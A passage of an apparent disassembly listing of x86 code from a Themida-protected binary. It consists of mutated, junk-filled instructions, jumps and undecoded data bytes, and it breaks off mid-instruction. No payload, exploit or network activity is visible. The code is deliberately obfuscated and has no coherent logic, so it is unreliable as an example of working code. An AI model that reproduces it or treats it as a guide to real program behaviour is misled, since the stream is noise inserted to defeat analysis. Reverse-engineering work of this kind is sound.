--------------------------------------------------------------------------- loc_52088E: ; CODE XREF: Themida_:0051479Cj pop eax add ebx, ebp pop ebp push eax mov eax, 4 jmp loc_50F75E ; --------------------------------------------------------------------------- db 0B9h, 8Ch, 57h dd 0E9C16139h, 41E1D107h, 0FF6946E9h db 0FFh ; --------------------------------------------------------------------------- loc_5208AD: ; CODE XREF: Themida_:00524751j mov eax, [esp] add esp, 4 push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push 545Eh mov [esp], esi push 31C1h mov [esp], ecx mov ecx, esp add ecx, 4 sub esp, 4 jmp loc_52231C ; --------------------------------------------------------------------------- db 81h, 4, 24h dd 4, 4C5815Dh, 83000000h, 336804C5h, 0E9000049h, 0FFFF28CCh dd 4C7815Fh, 52000000h, 4BAh, 0A64E900h, 762CFFFFh, 7604F000h dd 252C932Ch, 0AD01E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_520926: ; CODE XREF: Themida_:005131F0j pop edx shl ebx, 2 not ebx jmp loc_523A75 ; --------------------------------------------------------------------------- db 1, 0C1h, 50h dd 263ABDB8h, 58C10124h, 0FF0278E9h db 0FFh ; --------------------------------------------------------------------------- loc_520941: ; CODE XREF: Themida_:00519FB0j mov ebp, 4 add ecx, ebp jmp loc_51107B ; --------------------------------------------------------------------------- db 0B9h, 7Ah, 2Fh dd 0E9C1701Dh, 2CBA5203h, 0E99B9F52h, 0FFFFD2A4h ; --------------------------------------------------------------------------- loc_520960: ; CODE XREF: Themida_:00522629j add esp, 4 xor ebp, 0B3C0AC4h sub ebp, 471F2DE5h mov eax, ebp jmp loc_515717 ; --------------------------------------------------------------------------- loc_520976: ; CODE XREF: Themida_:00513C9Ej add esi, eax pop eax mov edx, esi push dword ptr [esp] pop esi jmp loc_510C14 ; --------------------------------------------------------------------------- dd 0B2241489h, 0FFEA8085h, 8094B353h, 0C3FEFFEBh, 0FF92F0E9h dd 3B6852FFh, 8900006Dh, 69E92424h, 56FFFF1Eh, 4BEh, 394DE900h dd 48B0000h, 4EC8124h, 0E9000000h, 0FFFF57FEh, 5E30E981h dd 0E981537Ch, 59EC2E01h, 83242C8Bh, 0C18304C4h, 605E904h dd 8B540000h, 0C481240Ch, 4, 1B6CBE56h, 0F68166DCh, 29954E7Dh dd 7E83B951h, 0C1816869h, 0AF829BC7h, 9659CE29h, 0EC81D8F7h dd 4, 50243489h, 24048B5Eh, 0E904C483h, 14A6h ; --------------------------------------------------------------------------- loc_520A18: ; CODE XREF: Themida_:005111A1j xor [edx], ebx pop ebx pop edx loc_520A1C: ; CODE XREF: Themida_:00511C79j ; Themida_:0051523Aj push dword ptr [esp] mov ebx, [esp] add esp, 4 push 7594h mov [esp], ebx jmp loc_5152C1 ; --------------------------------------------------------------------------- loc_520A35: ; CODE XREF: Themida_:00520144j add esp, 4 push edx mov edx, 4 add ecx, 21B818E7h add ecx, edx push edx push eax mov eax, 75596AADh add eax, 0AC5EAE3Ah push eax pop edx mov eax, [esp] add esp, 4 jmp loc_517C17 ; --------------------------------------------------------------------------- loc_520A65: ; CODE XREF: Themida_:00513B2Dj mov ecx, esp add ecx, 4 jmp loc_515D1A ; --------------------------------------------------------------------------- dw 34FFh dd 24048B24h, 0FFEC45E9h, 6ECB81FFh, 0E90DE62Eh, 0FFFF8551h dd 5C241C87h, 0EB80D328h, 32685AD4h, 0E900002Fh, 0FFFF1A8Dh ; --------------------------------------------------------------------------- loc_520A9C: ; CODE XREF: Themida_:0051DB27j mov ebp, 0AE4F9F1Dh add edi, ebp pop ebp xor eax, edi mov edi, [esp] add esp, 4 mov edi, [esp] push ebx jmp loc_51B9CB ; --------------------------------------------------------------------------- aSu3 db ']éž3',0 db 0 ; --------------------------------------------------------------------------- loc_520ABB: ; CODE XREF: Themida_:0050FF20j push esp pop ebx push eax mov eax, 4 add ebx, eax mov eax, [esp] jmp loc_519CC8 ; --------------------------------------------------------------------------- db 68h, 9Eh, 3 dd 24890000h, 2EA96824h, 1C890000h, 6EE95224h db 64h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_520AE3: ; CODE XREF: Themida_:0051A856j push ebp mov ebp, 343356DAh add eax, ebp pop ebp pop edi xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_522BB9 ; --------------------------------------------------------------------------- db 21h dd 0C00B5BD8h, 0A11840Fh, 6A68FFFFh, 89000076h, 0FF542434h dd 0E95E2434h, 0FFFF1052h, 4C681h, 0EE830000h, 24348704h dd 3BCAE9h, 26476800h, 2AE90000h, 81FFFEF0h, 4C5h, 4B85000h dd 81000000h, 563CD1EDh, 3ED8177h, 29288400h, 3C581C5h dd 81288400h, 563CD1C5h, 2C875877h, 2C895C24h, 8B80E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_520B66: ; CODE XREF: Themida_:00510C3Ej push edx jmp loc_518BA5 ; --------------------------------------------------------------------------- loc_520B6C: ; CODE XREF: Themida_:0052322Aj jmp loc_50F70C ; --------------------------------------------------------------------------- db 50h, 0B8h, 4 dd 0E9000000h, 0FFFFAE65h, 66D830ACh, 666EDA68h, 0E9241489h dd 0FFFFD4FDh, 3D40E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_520B92: ; CODE XREF: Themida_:0051B2FAj push dword ptr [esp] pop esi push edi mov edi, esp add edi, 4 jmp loc_510EE2 ; --------------------------------------------------------------------------- dd 4BE56h, 0F2010000h, 0FF33F8E9h, 0FB015AFFh, 6AD0B951h dd 0C1817539h, 2AE1111Ah, 0F181D1F7h, 56CF7B31h, 0C181D1F7h dd 10493756h, 6C69E952h, 0B951FFFFh, 71C771F7h, 0FF5B36E9h dd 4ACA80FFh, 0FF137DE9h db 0FFh ; --------------------------------------------------------------------------- loc_520BE9: ; CODE XREF: Themida_:0051C2A2j xchg edx, [esp] pop esp jmp loc_519F67 ; --------------------------------------------------------------------------- dw 8966h dd 24048BC2h, 4C481h, 0F2E90000h, 5BFFFF69h, 0B850F201h dd 49573C66h, 48BC229h, 4C48324h, 7BBF5755h, 0F71CE313h dd 66E781D7h, 505A8B6Fh, 29A9E9h, 2C78100h, 87000000h dd 248B243Ch, 0B296E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_520C3A: ; CODE XREF: Themida_:0051FB81j mov esi, esp add esi, 4 push edx mov edx, 4 add esi, edx pop edx xchg esi, [esp] pop esp pop dword ptr [esp] jmp loc_523DD8 ; --------------------------------------------------------------------------- loc_520C57: ; CODE XREF: Themida_:005163B4j not edx sub edx, 473F1E23h inc edx push ecx jmp loc_51FA69 ; --------------------------------------------------------------------------- dw 42Dh dd 87000000h, 72E92404h, 5DFFFFD9h, 1D75F32Dh, 5C80121h dd 211D75F3h, 55240C8Bh, 0FFD4FBE9h db 0FFh ; --------------------------------------------------------------------------- loc_520C89: ; CODE XREF: Themida_:005150B9j neg ch add ch, 0FDh jmp loc_513653 ; --------------------------------------------------------------------------- db 83h dd 148904ECh, 4F0CBA24h, 0E2C112B6h, 0EB36E907h, 8F54FFFEh dd 0E9552404h, 0FFFEF69Eh ; --------------------------------------------------------------------------- loc_520CB0: ; CODE XREF: Themida_:00517555j push 246h jmp loc_5118D9 ; --------------------------------------------------------------------------- dw 0E957h dd 0FFFF46F1h, 7BCEE954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_520CC6: ; CODE XREF: Themida_:005191D9j push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_515CC1 ; --------------------------------------------------------------------------- loc_520CD5: ; CODE XREF: Themida_:0051AAE2j xchg ebx, [esp] pop esp pop dword ptr [esp] mov esp, [esp] or edx, eax shl edx, 1 push 60FDh mov [esp], esi jmp loc_51BDC5 ; --------------------------------------------------------------------------- loc_520CF0: ; CODE XREF: Themida_:00517C8Bj push edi jmp loc_524098 ; --------------------------------------------------------------------------- loc_520CF6: ; CODE XREF: Themida_:00521AA0j push 76DFh jmp loc_512FF9 ; --------------------------------------------------------------------------- loc_520D00: ; CODE XREF: Themida_:0050F800j neg edx jmp loc_517C85 ; --------------------------------------------------------------------------- db 97h dd 0FFEF8147h, 0C1FFFFFFh, 0B95106E7h, 6B51135Eh, 1C18341h dd 4074E181h, 0E9810E49h, 0FDC3945Bh, 8959CF01h, 0BD555FF8h dd 7587F83h, 0FF2DADE9h db 0FFh ; --------------------------------------------------------------------------- loc_520D39: ; CODE XREF: Themida_:00524519j mov eax, 2 add edx, eax jmp loc_5227DD ; --------------------------------------------------------------------------- db 52h, 89h, 0E2h dd 4C281h, 0FEE90000h, 89FFFEF0h, 2C872414h, 31D5F724h dd 2C33242Ch, 934EE924h, 48FFFFFh, 3C875C24h, 24248B24h dd 9C240421h, 0FEE993E9h, 0F6664FFh, 0EC8102B6h, 4, 54240489h dd 582434FFh, 81E28952h, 4C2h, 1EE95300h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_520D9B: ; CODE XREF: Themida_:0051A4B1j pop ebp sub eax, 31896CA9h add eax, edx add eax, 31896CA9h sub eax, 45D616CBh add eax, 3CC930D6h pop edx or eax, eax jnz loc_51E69D push ebp push 471522D6h push dword ptr [esp] push dword ptr [esp] mov ebp, [esp] jmp loc_5239D0 ; --------------------------------------------------------------------------- db 53h dd 0C3815B54h, 4, 4C381h, 0A5E90000h, 81FFFFFCh, 4ECh dd 240C8900h, 0B53EB252h, 0E9D500EFh, 0FFFF6A31h ; --------------------------------------------------------------------------- loc_520DF8: ; CODE XREF: Themida_:00521B6Bj or eax, edx jmp loc_52303D ; --------------------------------------------------------------------------- loc_520DFF: ; CODE XREF: Themida_:00515E6Dj mov edi, 4 add eax, edi jmp loc_51447F ; --------------------------------------------------------------------------- db 83h dd 0C58104C4h, 33737F71h, 18FFE9h, 0ADE95B00h, 8FFFFF1Fh dd 0E95C2404h, 611h ; --------------------------------------------------------------------------- loc_520E28: ; CODE XREF: Themida_:00524E99j mov ebp, 74440618h sub ebp, 4804560Ch or ebp, 376616E5h jmp loc_516462 ; --------------------------------------------------------------------------- dw 0C87h dd 0EE3CE924h, 0E901FFFFh, 0FF433FE9h, 0F7E958FFh, 0B5FFFF47h dd 2EF580D4h, 0E959EC88h, 0FFFFA227h, 0C281E289h, 4, 4EA81h dd 14870000h, 24895C24h, 0A1BDE924h, 0E981FFFFh, 108E58E7h dd 2DC2E9h, 4C48300h, 0F924C181h, 0CB89C868h, 0F7EB8759h dd 81EB87D5h, 0FB58FBF3h, 6EBC15Ch, 0FF92D2E9h, 0E9E089FFh dd 0FFFF9C17h ; --------------------------------------------------------------------------- loc_520EAC: ; CODE XREF: Themida_:00518B1Cj mov [esp], edx jmp loc_524307 ; --------------------------------------------------------------------------- dd 5D20E9ADh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_520EBA: ; CODE XREF: Themida_:0051F771j mov eax, [esp] push ebx jmp loc_52347C ; --------------------------------------------------------------------------- loc_520EC3: ; CODE XREF: Themida_:005239CBj pop esi push ecx mov ecx, 648E375Ah shr ecx, 3 and ecx, 47BF7AABh sub ecx, 0AD73CBC3h or esi, ecx pop ecx add esi, 6B7213D8h push ebp mov ebp, 413D4DABh not ebp shl ebp, 8 sub ebp, 6B8C2017h add ebp, 0E56A4156h add esi, ebp pop ebp jmp loc_516139 ; --------------------------------------------------------------------------- db 68h, 9Eh, 4 dd 0E95F6EEEh, 0FFFF2BEEh, 7DA0E9ADh, 0E1C1FFFFh, 0CFF18104h dd 8113F85Bh, 3F4850E9h, 59C801FDh, 0E955D801h, 3DE2h ; --------------------------------------------------------------------------- loc_520F2C: ; CODE XREF: Themida_:00510447j push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], edi mov edi, esp push edx mov edx, 1B582B8Ch push ebx push 10B3657Bh pop ebx add edx, ebx pop ebx push ecx mov ecx, 3F1B3DDAh shr ecx, 5 and ecx, 17922F2Bh neg ecx push ebx jmp loc_51593F ; --------------------------------------------------------------------------- dw 875Eh dd 0CFE9242Ch, 80FFFEE9h, 0EF3053EDh, 0FFB16EE9h, 59CB31FFh dd 30E1EA81h, 0DA012131h, 30E1C281h, 1C8B2131h, 5B5D6824h dd 2C890000h, 3A98E924h, 0C310000h, 240C3324h, 8124248Bh dd 2ECh, 34896600h, 0A2BE6624h, 0F056617h, 0A2ECE92Fh dd 5C29FFFFh, 0E9530824h, 0FFFF4A36h ; --------------------------------------------------------------------------- loc_520FC4: ; CODE XREF: Themida_:0051BECBj mov bl, 71h push edx mov dh, 93h mov ch, dh pop edx sub ch, 0D3h add ch, 17h sub ch, bl sub ch, 17h add ch, 0D3h jmp loc_5150B5 ; --------------------------------------------------------------------------- db 33h dd 68E9240Ch, 80FFFF58h, 0CA8070E2h, 7CEA8051h, 525AD788h dd 0F000CFB6h, 0FFE7CCE9h db 0FFh ; --------------------------------------------------------------------------- loc_520FFD: ; CODE XREF: Themida_:0051C317j pop esp add eax, ebp sub eax, 62373B6Bh mov ebp, [esp] add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_517582 ; --------------------------------------------------------------------------- db 59h, 68h, 0 dd 29000000h, 3C8B243Ch, 4C48124h, 0E9000000h, 0FFFFDEF1h dd 176B6852h, 24E95355h, 500003Fh, 70A04314h, 4B4CD105h dd 0E8D9E930h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_52104A: ; CODE XREF: Themida_:00512597j add esi, ebx jmp loc_5248F2 ; --------------------------------------------------------------------------- loc_521051: ; CODE XREF: Themida_:00512FA3j sub ecx, 0F58741Fh add ecx, 4963725h sub ecx, edx sub ecx, 4963725h jmp loc_52402C ; --------------------------------------------------------------------------- loc_52106A: ; CODE XREF: Themida_:0051E151j sub edi, 6A1152B7h jmp loc_51ABF2 ; --------------------------------------------------------------------------- loc_521075: ; CODE XREF: Themida_:0052331Bj mov ebx, 4 add esi, ebx pop ebx push 49Ch mov [esp], edx mov edx, 65F86164h jmp loc_5163B2 ; --------------------------------------------------------------------------- db 30h dd 0D8305AF3h, 5E68665Bh, 9AE6E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_52109E: ; CODE XREF: Themida_:005128E0j or ebx, 1F1B3A10h or ebx, 0F472EBAh xor ebx, 4DF95066h jmp loc_518227 ; --------------------------------------------------------------------------- loc_5210B5: ; CODE XREF: Themida_:0051A67Aj push edi mov edi, 4 add ebp, edi jmp loc_52313F ; --------------------------------------------------------------------------- dw 8758h dd 5FE92414h, 0FFFFFF50h, 7FE92434h, 0C100003Ch, 0EA8106E2h dd 710C0255h, 0BC6CA81h, 0EA8131B9h, 0B1FF8BEBh, 7E9AC581h dd 0ED816300h, 5C041CC9h, 0EC81D501h, 4, 0BE243489h, 27555103h dd 58F68146h, 0E97AB972h, 0FFFF3A94h ; --------------------------------------------------------------------------- loc_521110: ; CODE XREF: Themida_:00519F6Aj add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_510032 ; --------------------------------------------------------------------------- loc_521121: ; CODE XREF: Themida_:00516E7Bj push 276717F8h mov ecx, [esp] add esp, 4 push edi mov edi, 19FFF6CDh jmp loc_517CE4 ; --------------------------------------------------------------------------- dw 0DF29h dd 0FFADBEE9h, 0BE5657FFh, 667239B1h, 348BF789h, 4C48124h dd 0BD000000h, 12196049h, 0FEF084E9h, 2414F7FFh, 52D6F75Eh dd 0F578F5BAh, 5AD62158h, 6805E6C1h, 1AD3h, 0E9241C89h dd 0FFFFF3BBh ; --------------------------------------------------------------------------- loc_52117C: ; CODE XREF: Themida_:00510310j xor eax, esi push dword ptr [esp] pop esi add esp, 4 sub esp, 4 jmp loc_517051 ; --------------------------------------------------------------------------- loc_521190: ; CODE XREF: Themida_:00523D77j pop esp jmp loc_51457B ; --------------------------------------------------------------------------- dw 0F681h dd 440E3390h, 0D1BCE81h, 0C6810D2Fh, 0F8E50176h, 8E9F029h dd 1FFFFE9h, 72C381C3h, 68239457h, 3123h, 0FF6F03E9h, 0C0E959FFh dd 55FFFFD5h, 83241C8Bh, 15D04C4h, 51535BDEh, 0D92D8968h dd 240C8B3Fh, 0FFFCA4E9h db 0FFh ; --------------------------------------------------------------------------- loc_5211E1: ; CODE XREF: Themida_:0051AD99j push 0EDAh jmp loc_5133FC ; --------------------------------------------------------------------------- loc_5211EB: ; CODE XREF: Themida_:00511899j add bl, ah pop eax sub bl, 8Ah add bl, 5Ah add bl, al push 5B13h mov [esp], ecx jmp loc_5121C0 ; --------------------------------------------------------------------------- loc_521203: ; CODE XREF: Themida_:0051C030j pop esp mov [esp], eax jmp loc_51FABD ; --------------------------------------------------------------------------- loc_52120C: ; CODE XREF: Themida_:00520618j add esi, edx pop edx jmp loc_51CA3A ; --------------------------------------------------------------------------- loc_521214: ; CODE XREF: Themida_:005185D8j add esp, 4 shr ebx, 8 dec ebx xor ebx, 40805h add edi, 205344F1h add edi, 6CA26BA0h sub edi, 11612F6h jmp loc_517D3B ; --------------------------------------------------------------------------- loc_52123B: ; CODE XREF: Themida_:005127ADj mov edx, 5F6022D6h add ecx, edx pop edx jmp loc_522595 ; --------------------------------------------------------------------------- loc_521248: ; CODE XREF: Themida_:0051DC97j add ebp, esi push ecx mov ecx, 5DA40B33h add ebp, ecx pop ecx pop esi push ebp push dword ptr [esp+4] mov ebp, [esp] jmp loc_514308 ; --------------------------------------------------------------------------- db 5Bh, 8Fh, 4 dd 24248B24h, 49E9F1F7h, 0BEFFFF32h, 129B4725h, 0FEF986E9h dd 243489FFh, 68E7BE56h, 0B3E9733Ch, 8BFFFF80h, 0C483240Ch dd 59EE8004h, 148BF028h, 4C48124h, 2C000000h, 0B652661Bh dd 1D7FE926h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5212A6: ; CODE XREF: Themida_:00518FADj pop edx add bl, dh push eax mov ah, 84h jmp loc_51BEB2 ; --------------------------------------------------------------------------- db 31h, 0CDh, 59h dd 52EA8952h, 37240481h, 59186244h, 0FF2E70E9h db 0FFh ; --------------------------------------------------------------------------- loc_5212C5: ; CODE XREF: Themida_:0051C11Ej add ebx, 15503EB4h add ebx, eax sub ebx, 15503EB4h jmp loc_518C7F ; --------------------------------------------------------------------------- dd 5766AD66h, 74FDBF66h, 66F80166h, 6656665Fh, 34F9E957h dd 0AB40000h, 28E928B5h, 0C1FFFF35h, 0C18102E9h, 98EE6D5h dd 0FFFFACE9h, 0D9E955FFh db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_52130B: ; CODE XREF: Themida_:00519355j push dword ptr [esp] pop eax push ecx mov ecx, esp jmp loc_51BF60 ; --------------------------------------------------------------------------- db 0F7h dd 3E5C1D5h, 0BA525657h, 2D180B24h, 81424A42h, 0A5FCA7EAh dd 5AD689CDh, 54DDC681h, 0F789F46Bh, 82C5815Eh, 1443D1Dh dd 82ED81FDh, 5F443D1Dh, 28E6E9h, 2C38300h, 0FF9BBDE9h db 0FFh ; --------------------------------------------------------------------------- loc_521355: ; CODE XREF: Themida_:0051DDD0j mov edx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] shr ecx, 2 push edi sub esp, 4 mov [esp], ebx push esi mov esi, 79F905D5h sub dword ptr [esp+4], 459C0ADDh add [esp+4], esi add dword ptr [esp+4], 459C0ADDh push dword ptr [esp] jmp loc_51C5A0 ; --------------------------------------------------------------------------- db 5Dh dd 54BEC381h, 0C3815C1Bh, 51CE487Eh, 1BE9F301h, 68000001h dd 23A6h, 0BF243C89h, 3EE0727Bh, 68FE8956h, 1BAh, 0FFFEB8E9h dd 6DF480FFh, 9E9CCFEh, 64FFFEE9h, 0EEE9028Fh db 0C5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5213D3: ; CODE XREF: Themida_:0050FC70j xor eax, 6E105263h xor eax, 0DBFEFDA8h jmp loc_518B21 ; --------------------------------------------------------------------------- loc_5213E2: ; CODE XREF: Themida_:0051540Bj mov edx, 25B6538Dh jmp loc_51D38A ; --------------------------------------------------------------------------- loc_5213EC: ; CODE XREF: Themida_:0051639Cj mov [esp], edx mov edx, 5B02A15h neg edx push 420h mov [esp], edi mov edi, 59C37C60h or edi, 724A68CBh push ebp mov ebp, 26C4575h sub ebp, 5E3328FDh push ebp jmp loc_523AE9 ; --------------------------------------------------------------------------- loc_52141B: ; CODE XREF: Themida_:0051EBE7j add ebx, 4 jmp loc_51F9FF ; --------------------------------------------------------------------------- dw 0C80Fh dd 0E8068h, 241C8900h, 241C8B54h, 0FEEC02E9h, 0C1D2F7FFh dd 0C28103EAh, 10D7DD8Ch, 515AD031h, 26E95450h db 1Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_52144F: ; CODE XREF: Themida_:0051B5FFj sub dword ptr [esp], 517823A7h pop edx add edx, 517823A7h jmp loc_51C747 ; --------------------------------------------------------------------------- dw 0D389h dd 0FF7939E9h, 0EB814BFFh, 1BC794D1h, 335BDA01h, 14312414h dd 389BE924h, 0E3890000h, 4B850h, 0C3010000h, 4EB8158h dd 87000000h, 248B241Ch, 243C8924h, 0B951E789h, 19D54982h dd 5508E9C1h, 3D7E9h, 5CBA5200h, 2932E54Ah, 0BD555AD6h dd 5FA745EFh, 15DEB01h, 2220E9F3h, 0EB81FFFFh, 51CE487Eh dd 54BEEB81h, 57525C1Bh, 7475E7BFh, 8F99E960h, 4481FFFFh dd 6FAE0424h, 15A5934h, 0E9532404h, 0FFFF90BFh, 0E952E189h dd 0FFFF2D80h ; --------------------------------------------------------------------------- loc_5214F4: ; CODE XREF: Themida_:00519295j sub eax, 52182374h mov edi, [esp] add esp, 4 jmp loc_51A501 ; --------------------------------------------------------------------------- db 8Bh dd 1BE92414h, 100002Ah, 9D2D5EF0h, 2D0FBF63h, 0A1D3FDDh dd 2261E9h, 24248B00h, 24048B66h, 4EC81h, 0C890000h, 77A1E924h dd 0E068FFFFh, 8900002Ah, 74FF240Ch, 34FF0424h, 0EC835924h dd 240C8904h, 0BAE9E189h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_521553: ; CODE XREF: Themida_:00513592j xchg esi, [esp] not esi xchg esi, [esp] mov eax, [esp] push ebp sub esp, 4 mov [esp], esp jmp loc_51F2BF ; --------------------------------------------------------------------------- loc_52156D: ; CODE XREF: Themida_:00516A45j add esi, 4 xchg esi, [esp] pop esp jmp loc_522176 ; --------------------------------------------------------------------------- dd 582434FFh, 4C5F68h, 242C8900h, 0C581E589h, 4, 0F02BE956h dd 8ABBFFFEh, 89589345h, 92B9E9DFh, 8158FFFFh, 4C4h, 6E9E900h dd 3B68FFFFh, 593F6969h, 5DE4F181h, 0CB89331Dh, 8BD98959h dd 0C483241Ch, 0FF25E904h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5215CA: ; CODE XREF: Themida_:0051B86Fj pop ebx sub edx, 4E3C59EFh add edx, esi push eax mov eax, 4E3C59EFh jmp loc_50FF0F ; --------------------------------------------------------------------------- dw 1489h dd 4BA24h, 0D0010000h, 5724148Bh, 0FEFBFFE9h, 2434FFFFh dd 81242C8Bh, 4C4h, 0EF74E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_521602: ; CODE XREF: Themida_:00512634j push edx mov edx, 4 add ebp, edx pop edx add ebp, 4 xchg ebp, [esp] jmp loc_5124CA ; --------------------------------------------------------------------------- dw 575Fh dd 0E951E789h, 0FFFF8AE4h ; --------------------------------------------------------------------------- loc_521620: ; CODE XREF: Themida_:005101DCj neg edx jmp loc_515C48 ; --------------------------------------------------------------------------- db 4 dd 0E9D8002Eh, 1E44h, 1A88C381h, 0C3814312h, 0D86E9726h dd 575BDD89h, 221CBB53h, 42E92B54h, 55FFFF03h, 25A4BA52h dd 0C28157D8h, 0FDF04B09h, 0E95A5D52h, 0FFFEF42Ch, 2424895Ch dd 0FEFE07E9h, 4B951FFh, 8739A73Ah, 0D9874BD9h, 175E9h db 0 ; --------------------------------------------------------------------------- loc_521679: ; CODE XREF: Themida_:0051EBC8j push 7188h mov [esp], edx mov edx, 160370FAh xor edx, 4B2D7C27h and edx, 602B2BE2h add edx, 7A93431Ah jmp loc_513E74 ; --------------------------------------------------------------------------- loc_52169D: ; CODE XREF: Themida_:0051A0C6j pop dword ptr [esp] mov esp, [esp] jmp loc_51AB35 ; --------------------------------------------------------------------------- dd 83F1815Bh, 155A03Dh, 18E959C8h db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5216B7: ; CODE XREF: Themida_:0051967Ej add edi, 36E51C1Ch inc edi add edi, 2286D272h sub ebx, edi pop edi push edx mov edx, 7BFD6C16h add edx, 0F7E3DA89h add esi, edx pop edx add esi, ebx push edx jmp loc_50FB53 ; --------------------------------------------------------------------------- dw 0E981h dd 0FB12CF38h, 0E959CA09h, 0FFFF6B4Ch ; --------------------------------------------------------------------------- loc_5216EC: ; CODE XREF: Themida_:00511576j push eax push dword ptr [esp+4] jmp loc_511435 ; --------------------------------------------------------------------------- dw 81BAh dd 0B850F64Bh, 0D42D2013h, 55AD001h, 1B1F41FAh, 0BD527605h dd 0CBB53BFh, 2971D617h, 0C7015BDFh, 170CC781h, 875871D6h dd 27E9243Ch, 89FFFF00h, 4C281E2h, 83000000h, 0BAE904C2h db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_521737: ; CODE XREF: Themida_:00523A9Dj or eax, eax jnz loc_5100C6 push 1 jmp loc_5158CE ; --------------------------------------------------------------------------- loc_521749: ; CODE XREF: Themida_:005194B7j mov dh, bh push ebx push eax mov ah, dh push ecx mov cl, ah mov bl, cl pop ecx push dword ptr [esp] pop eax add esp, 4 push edx mov dl, bl mov ah, dl pop edx mov ebx, [esp] jmp loc_5228B1 ; --------------------------------------------------------------------------- db 0B9h, 0D0h, 3Bh dd 68E94FAEh, 83FFFFA4h, 0F65904C4h, 0BFBE9DEh, 15AFFFFh dd 0F938E9C2h, 0E951FFFFh, 0FFFF64A4h, 2414F753h, 0FFEB40E9h db 0FFh ; --------------------------------------------------------------------------- loc_521799: ; CODE XREF: Themida_:0051F064j push dword ptr [esp] mov ebp, [esp] jmp loc_51815D ; --------------------------------------------------------------------------- dd 0EB81FB01h, 0A4D440Ch, 2028C381h, 3C8B5E65h, 52BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5217BA: ; CODE XREF: Themida_:00511456j pop eax sub bl, ch add bl, 0BAh pop ecx jmp loc_513BA3 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FEEBF4E9h, 81EB01FFh, 0D1220EC3h, 4FC38153h, 5D02994Eh dd 560D6851h, 1590B04h, 0F3BDE9CBh, 0E1C1FFFEh, 4EC8305h dd 0BD242C89h, 85E683Ah, 8102EDC1h, 226937C5h, 0E9E92124h dd 0FFFF9A8Eh ; --------------------------------------------------------------------------- loc_52180C: ; CODE XREF: Themida_:00514F35j sub esp, 4 mov [esp], ecx mov ecx, 1D933523h xor ecx, 29B60A2Ch jmp loc_514CD4 ; --------------------------------------------------------------------------- db 81h, 0EEh, 0A3h dd 50618134h, 0FFCB80E9h, 148B66FFh, 2C48324h, 0D800BB2Ch dd 5152BB04h, 0EE88BAB5h, 0FEC6FE59h, 3FB753C6h, 8092CF80h dd 0EF8001EFh, 5BFE2834h, 2454F652h, 50535A01h, 0ABB7B1B4h dd 3058E730h, 7685BFEh, 89000073h, 69B3241Ch, 6605EBC0h dd 0E91DB252h, 0FFFEE329h, 43505268h, 0CD815D0Dh, 6A8517C8h dd 1A6FE581h, 0B85042E4h, 1A2F0584h, 58781D25h, 25503552h dd 0E8C17300h, 7E0C108h, 0FFD345E9h, 8E0C1FFh, 8F4BCE2Dh dd 2DE0D14Fh, 67663FC4h, 0FF5537E9h, 5DC368FFh, 0C890000h dd 6B456824h, 32E97ADEh db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5218D3: ; CODE XREF: Themida_:00516141j mov edi, [esp] add esp, 4 jmp loc_517348 ; --------------------------------------------------------------------------- loc_5218DE: ; CODE XREF: Themida_:005243C8j push edi add dword ptr [esp], 1 pop edi add edi, 0FFFFFFFFh push edx mov edx, 690A4E52h or edx, 1EBD7C8Ah sub edx, 280D0207h xor edx, 699213AAh dec edx push 6803h jmp loc_514370 ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 81000000h, 4C1h, 4EC8300h, 0FF240C89h, 59042474h, 0E924048Fh dd 0FFFFACFCh ; --------------------------------------------------------------------------- loc_52192C: ; CODE XREF: Themida_:00513E01j add esp, 4 jmp loc_5147D8 ; --------------------------------------------------------------------------- db 5Ch dd 681CB753h, 5135h, 51240489h, 0E6B431B1h, 2059CC28h dd 0CFFE58E7h, 873F780h, 241C8BFDh, 8104C483h, 4ECh, 241C8900h dd 5166B8B7h, 0FF5E01E9h db 0FFh ; --------------------------------------------------------------------------- loc_52196D: ; CODE XREF: Themida_:0051B90Dj pop eax pop dword ptr [esp] mov esp, [esp] jmp loc_522E26 ; --------------------------------------------------------------------------- loc_521979: ; CODE XREF: Themida_:00510692j mov ebx, ecx pop ecx mov ebp, 0CD523CF0h add ebp, 4CFF60C6h sub ebp, 38AE3526h add ebp, ebx add ebp, 38AE3526h sub ebp, 4CFF60C6h pop ebx push ecx jmp loc_5161A7 ; --------------------------------------------------------------------------- loc_5219A2: ; CODE XREF: Themida_:00517350j push ebp push edx jmp loc_51FEC3 ; --------------------------------------------------------------------------- db 66h, 68h, 73h dd 66546637h, 6624048Fh, 2BB6653h, 5C016600h, 3E90224h db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5219C3: ; CODE XREF: Themida_:00522E28j push dword ptr [esp] pop ecx push ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx sub esp, 4 mov [esp], eax mov eax, 5C9059CFh sub 